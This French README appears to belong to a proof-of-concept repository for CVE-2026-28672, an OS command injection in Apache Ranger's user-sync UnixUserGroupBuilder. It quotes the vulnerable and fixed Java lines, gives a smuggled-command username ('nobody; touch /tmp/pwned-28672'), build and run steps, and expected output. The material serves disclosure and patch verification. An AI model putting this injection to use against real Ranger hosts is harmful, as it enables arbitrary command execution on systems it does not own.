
Reproducteur de preuve de concept pour l'injection de commandes OS dans UnixUserGroupBuilder d'Apache Ranger (CVE-2026-28672), démontrant la vulnérabilité et vérifiant le correctif.
UnixUserGroupBuilderReproducteur exécutable de preuve de concept pour l'injection de commande système dans le module user-sync
(unixusersync) d'Apache Ranger.
Lors de l'énumération des groupes de chaque utilisateur synchronisé, UnixUserGroupBuilder exécute la commande id via un shell,
en concaténant le nom d'utilisateur dans la ligne de commande :
// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});
Le nom d'utilisateur provient de la source user-sync configurée (LDAP/AD ou un fichier), il est donc influençable par un attaquant. Un
nom d'utilisateur contenant des métacaractères de shell — par ex. alice; touch /tmp/pwned — est exécuté comme une commande système
(CWE-77, neutralisation incorrecte des éléments spéciaux utilisés dans une commande).
mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar
Sortie attendue sur le chemin de code vulnérable :
[1] Benign username 'nobody':
id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
id -G 'nobody; touch /tmp/pwned-28672' -> null
injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true
| Propriété | Valeur |
|---|---|
| Projet | Apache Ranger — org.apache.ranger.unixusersync (user-sync) |
| Classe | CWE-77 Neutralisation incorrecte des éléments spéciaux utilisés dans une commande ('injection de commande') |
| Vecteur d'attaque | Un nom d'utilisateur contenant des métacaractères de shell fourni par la source user-sync |
| Impact | Exécution arbitraire de commandes système sur l'hôte user-sync de Ranger |
| Versions affectées | de 0.6 à 2.8 |
| Version corrigée | 2.9.0 |
| Avis | fil de discussion lists.apache.org · CVE-2026-28672 |
| Crédit | Andrea Cosentino |
Apache Ranger 2.9.0 exécute id directement sous forme de vecteur d'arguments, de sorte que le nom d'utilisateur est un seul argument littéral et
n'est jamais interprété par un shell :
// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});
UnixUserGroupBuilderVuln.java dans ce dépôt contient les deux formes textuellement, citées d'après la source en amont.
Ce dépôt est publié à des fins éducatives et défensives : aider les utilisateurs d'Apache Ranger à comprendre la vulnérabilité,
vérifier s'ils sont affectés et confirmer que la mise à niveau la résout. La charge utile est bénigne
(elle crée un fichier marqueur dans /tmp). N'utilisez pas ce contenu contre des systèmes que vous ne possédez pas ou n'exploitez pas.